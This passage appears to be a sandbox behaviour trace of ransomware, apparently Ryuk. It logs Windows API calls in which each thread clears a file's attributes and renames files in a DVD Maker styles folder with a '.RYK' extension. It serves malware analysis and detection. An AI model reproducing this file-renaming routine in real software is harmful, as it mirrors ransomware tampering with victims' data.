	[0231.740] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Travel\\Passport.wmv" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\travel\\passport.wmv"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0231.741] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0231.741] MoveFileExW (lpExistingFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Travel\\Passport.wmv" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\travel\\passport.wmv"), lpNewFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Travel\\Passport.wmv.RYK" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\travel\\passport.wmv.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 1252
	os_tid = 0x19b0

	[0231.742] SetFileAttributesW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Travel\\passportcover.png", dwFileAttributes=0x80) returned 0
	[0231.742] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Travel\\passportcover.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\travel\\passportcover.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0231.742] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0231.743] MoveFileExW (lpExistingFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Travel\\passportcover.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\travel\\passportcover.png"), lpNewFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Travel\\passportcover.png.RYK" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\travel\\passportcover.png.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 1253
	os_tid = 0x19b4

	[0231.744] SetFileAttributesW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Travel\\PassportMask.wmv", dwFileAttributes=0x80) returned 0
	[0231.744] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Travel\\PassportMask.wmv" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\travel\\passportmask.wmv"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0231.744] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0231.744] MoveFileExW (lpExistingFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Travel\\PassportMask.wmv" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\travel\\passportmask.wmv"), lpNewFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Travel\\PassportMask.wmv.RYK" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\travel\\passportmask.wmv.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 1254
	os_tid = 0x19b8

	[0231.746] SetFileAttributesW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Travel\\PassportMask_PAL.wmv", dwFileAttributes=0x80) returned 0
	[0231.746] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Travel\\PassportMask_PAL.wmv" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\travel\\passportmask_pal.wmv"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0231.746] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0231.746] MoveFileExW (lpExistingFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Travel\\PassportMask_PAL.wmv" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\travel\\passportmask_pal.wmv"), lpNewFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Travel\\PassportMask_PAL.wmv.RYK" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\travel\\passportmask_pal.wmv.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 1255
	os_tid = 0x19bc

	[0231.747] SetFileAttributesW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Travel\\passport_mask_left.png", dwFileAttributes=0x80) returned 0
	[0231.747] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Travel\\passport_mask_left.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\travel\\passport_mask_left.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0231.748] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0231.748] MoveFileExW (lpExistingFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Travel\\passport_mask_left.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\travel\\passport_mask_left.png"), lpNewFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Travel\\passport_mask_left.png.RYK" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\travel\\passport_mask_left.png.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 1256
	os_tid = 0x19c0

	[0231.749] SetFileAttributesW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Travel\\passport_mask_right.png", dwFileAttributes=0x80) returned 0
	[0231.750] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Travel\\passport_mask_right.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\travel\\passport_mask_right.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0231.750] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0231.750] MoveFileExW (lpExistingFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Travel\\passport_mask_right.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\travel\\passport_mask_right.png"), lpNewFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Travel\\passport_mask_right.png.RYK" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\travel\\passport_mask_right.png.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 1257
	os_tid = 0x19c4

	[0231.838] SetFileAttributesW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Travel\\Passport_PAL.wmv", dwFileAttributes=0x80) returned 0
	[0231.838] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Travel\\Passport_PAL.wmv" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\travel\\passport_pal.wmv"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0231.838] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0231.838] MoveFileExW (lpExistingFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Travel\\Passport_PAL.wmv" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\travel\\passport_pal.wmv"), lpNewFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Travel\\Passport_PAL.wmv.RYK" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\travel\\passport_pal.wmv.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 1258
	os_tid = 0x19c8

	[0231.840] SetFileAttributesW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Travel\\play-background.png", dwFileAttributes=0x80) returned 0
	[0231.840] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Travel\\play-background.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\travel\\play-background.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0231.840] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0231.840] MoveFileExW (lpExistingFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Travel\\play-background.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\travel\\play-background.png"), lpNewFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Travel\\play-background.png.RYK" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\travel\\play-background.png.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 1259
	os_tid = 0x19cc

	[0231.842] SetFileAttributesW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Travel\\selection_subpicture.png", dwFileAttributes=0x80) returned 0
	[0231.842] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Travel\\selection_subpicture.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\travel\\selection_subpicture.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0231.842] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0231.842] MoveFileExW (lpExistingFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Travel\\selection_subpicture.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\travel\\selection_subpicture.png"), lpNewFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Travel\\selection_subpicture.png.RYK" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\travel\\selection_subpicture.png.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 1260
	os_tid = 0x19d0

	[0231.843] SetFileAttributesW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Travel\\travel.png", dwFileAttributes=0x80) returned 0
	[0231.844] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Travel\\travel.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\travel\\travel.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0231.844] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0231.844] MoveFileExW (lpExistingFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Travel\\travel.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\travel\\travel.png"), lpNewFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Travel\\travel.png.RYK" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\travel\\travel.png.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 1261
	os_tid = 0x19d4

	[0231.845] SetFileAttributesW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Travel\\TravelIntroToMain.wmv", dwFileAttributes=0x80) returned 0
	[0231.845] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Travel\\TravelIntroToMain.wmv" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\travel\\travelintrotomain.wmv"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0231.846] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0231.846] MoveFileExW (lpExistingFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Travel\\TravelIntroToMain.wmv" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\travel\\travelintrotomain.wmv"), lpNewFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Travel\\TravelIntroToMain.wmv.RYK" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\travel\\travelintrotomain.wmv.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 1262
	os_tid = 0x19d8

	[0231.847] SetFileAttributesW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Travel\\TravelIntroToMainMask.wmv", dwFileAttributes=0x80) returned 0
	[0231.847] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Travel\\TravelIntroToMainMask.wmv" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\travel\\travelintrotomainmask.wmv"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0231.847] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0231.847] MoveFileExW (lpExistingFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Travel\\TravelIntroToMainMask.wmv" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\travel\\travelintrotomainmask.wmv"), lpNewFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Travel\\TravelIntroToMainMask.wmv.RYK" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\travel\\travelintrotomainmask.wmv.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 1263
	os_tid = 0x19dc

	[0232.023] SetFileAttributesW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Travel\\TravelIntroToMainMask_PAL.wmv", dwFileAttributes=0x80) returned 0
	[0232.024] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Travel\\TravelIntroToMainMask_PAL.wmv" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\travel\\travelintrotomainmask_pal.wmv"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0232.024] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0232.024] MoveFileExW (lpExistingFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Travel\\TravelIntroToMainMask_PAL.wmv" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\travel\\travelintrotomainmask_pal.wmv"), lpNewFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Travel\\TravelIntroToMainMask_PAL.wmv.RYK" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\travel\\travelintrotomainmask_pal.wmv.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 1264
	os_tid = 0x19e8

	[0232.025] SetFileAttributesW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Travel\\TravelIntroToMain_PAL.wmv", dwFileAttributes=0x80) returned 0
	[0232.025] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Travel\\TravelIntroToMain_PAL.wmv" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\travel\\travelintrotomain_pal.wmv"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0232.026] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0232.026] MoveFileExW (lpExistingFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Travel\\TravelIntroToMain_PAL.wmv" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\travel\\travelintrotomain_pal.wmv"), lpNewFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Travel\\TravelIntroToMain_PAL.wmv.RYK" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\travel\\travelintrotomain_pal.wmv.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 1265
	os_tid = 0x19ec

	[0232.027] SetFileAttributesW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\VideoWall\\203x8subpicture.png", dwFileAttributes=0x80) returned 0
	[0232.027] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\VideoWall\\203x8subpicture.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\videowall\\203x8subpicture.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0232.027] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0232.027] MoveFileExW (lpExistingFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\VideoWall\\203x8subpicture.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\videowall\\203x8subpicture.png"), lpNewFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\VideoWall\\203x8subpicture.png.RYK" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\videowall\\203x8subpicture.png.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 1266
	os_tid = 0x19f0

	[0232.029] SetFileAttributesW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\VideoWall\\videowall.png", dwFileAttributes=0x80) returned 0
	[0232.029] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\VideoWall\\videowall.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\videowall\\videowall.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0232.029] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0232.030] MoveFileExW (lpExistingFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\VideoWall\\videowall.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\videowall\\videowall.png"), lpNewFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\VideoWall\\videowall.png.RYK" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\videowall\\videowall.png.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 1267
	os_tid = 0x19f4

	[0232.031] SetFileAttributesW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Vignette\\1047x576black.png", dwFileAttributes=0x80) returned 0
	[0232.031] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Vignette\\1047x576black.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\vignette\\1047x576black.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0232.031] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0232.031] MoveFileExW (lpExistingFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Vignette\\1047x576black.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\vignette\\1047x576black.png"), lpNewFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Vignette\\1047x576black.png.RYK" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\vignette\\1047x576black.png.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 1268
	os_tid = 0x19f8

	[0232.032] SetFileAttributesW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Vignette\\15x15dot.png", dwFileAttributes=0x80) returned 0
	[0232.033] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Vignette\\15x15dot.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\vignette\\15x15dot.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0232.033] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0232.033] MoveFileExW (lpExistingFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Vignette\\15x15dot.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\vignette\\15x15dot.png"), lpNewFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Vignette\\15x15dot.png.RYK" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\vignette\\15x15dot.png.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 1269
	os_tid = 0x19fc

	[0232.034] SetFileAttributesW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Vignette\\NavigationLeft_ButtonGraphic.png", dwFileAttributes=0x80) returned 0
	[0232.034] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Vignette\\NavigationLeft_ButtonGraphic.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\vignette\\navigationleft_buttongraphic.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0232.034] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0232.035] MoveFileExW (lpExistingFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Vignette\\NavigationLeft_ButtonGraphic.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\vignette\\navigationleft_buttongraphic.png"), lpNewFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Vignette\\NavigationLeft_ButtonGraphic.png.RYK" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\vignette\\navigationleft_buttongraphic.png.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 1270
	os_tid = 0x1a00

	[0232.036] SetFileAttributesW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Vignette\\NavigationLeft_SelectionSubpicture.png", dwFileAttributes=0x80) returned 0
	[0232.036] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Vignette\\NavigationLeft_SelectionSubpicture.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\vignette\\navigationleft_selectionsubpicture.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0232.036] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0232.036] MoveFileExW (lpExistingFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Vignette\\NavigationLeft_SelectionSubpicture.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\vignette\\navigationleft_selectionsubpicture.png"), lpNewFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Vignette\\NavigationLeft_SelectionSubpicture.png.RYK" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\vignette\\navigationleft_selectionsubpicture.png.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 1271
	os_tid = 0x1a04

	[0232.038] SetFileAttributesW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Vignette\\NavigationRight_ButtonGraphic.png", dwFileAttributes=0x80) returned 0
	[0232.038] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Vignette\\NavigationRight_ButtonGraphic.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\vignette\\navigationright_buttongraphic.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0232.038] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0232.038] MoveFileExW (lpExistingFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Vignette\\NavigationRight_ButtonGraphic.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\vignette\\navigationright_buttongraphic.png"), lpNewFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Vignette\\NavigationRight_ButtonGraphic.png.RYK" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\vignette\\navigationright_buttongraphic.png.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 1272
	os_tid = 0x1a08

	[0232.041] SetFileAttributesW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Vignette\\NavigationRight_SelectionSubpicture.png", dwFileAttributes=0x80) returned 0
	[0232.041] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Vignette\\NavigationRight_SelectionSubpicture.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\vignette\\navigationright_selectionsubpicture.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0232.042] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0232.042] MoveFileExW (lpExistingFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Vignette\\NavigationRight_SelectionSubpicture.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\vignette\\navigationright_selectionsubpicture.png"), lpNewFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Vignette\\NavigationRight_SelectionSubpicture.png.RYK" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\vignette\\navigationright_selectionsubpicture.png.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 1273
	os_tid = 0x1a0c

	[0232.043] SetFileAttributesW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Vignette\\NavigationUp_ButtonGraphic.png", dwFileAttributes=0x80) returned 0
	[0232.043] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Vignette\\NavigationUp_ButtonGraphic.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\vignette\\navigationup_buttongraphic.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0232.043] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0232.044] MoveFileExW (lpExistingFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Vignette\\NavigationUp_ButtonGraphic.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\vignette\\navigationup_buttongraphic.png"), lpNewFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Vignette\\NavigationUp_ButtonGraphic.png.RYK" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\vignette\\navigationup_buttongraphic.png.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 1274
	os_tid = 0x1a10

	[0232.170] SetFileAttributesW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Vignette\\NavigationUp_SelectionSubpicture.png", dwFileAttributes=0x80) returned 0
	[0232.170] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Vignette\\NavigationUp_SelectionSubpicture.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\vignette\\navigationup_selectionsubpicture.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0232.170] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0232.171] MoveFileExW (lpExistingFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Vignette\\NavigationUp_SelectionSubpicture.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\vignette\\navigationup_selectionsubpicture.png"), lpNewFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Vignette\\NavigationUp_SelectionSubpicture.png.RYK" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\vignette\\navigationup_selectionsubpicture.png.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 1275
	os_tid = 0x1a14

	[0232.172] SetFileAttributesW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Vignette\\softedges.png", dwFileAttributes=0x80) returned 0
